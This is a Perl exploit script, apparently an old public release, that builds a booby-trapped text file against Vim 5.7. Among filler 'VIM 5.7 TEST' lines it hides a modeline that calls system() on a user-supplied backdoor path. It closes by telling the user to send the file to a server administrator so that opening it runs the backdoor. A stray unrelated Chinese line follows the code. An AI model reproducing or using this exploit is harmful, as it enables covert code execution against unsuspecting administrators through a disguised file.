#!/usr/bin/perl #- Dedicated to my girlfriend Annalisa:+ - #-dkl- by Nemes||y KayaRasta -dkl- # # dragon@shellnow.it $path_bd = $ARGV[0]; unless ($ARGV[0]) { print "\nUsage : ".$0." \n"; print "Example : ".$0." /home/ftp/incoming/mybackdoor\n\n"; } else { $str_exp = "vim:ls=2:stl=%{system('$path_bd&')}"; print "Test.txt..."; sleep(1); open (FILE,">>Test.txt"); print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE $str_exp."\n"; print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE "VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST VIM 5.7 TEST\n"; print FILE "======================================================\n"; close FILE; print "\n\n Now send Test.txt at server's administrator.\n\n"; }

亚洲欧美在线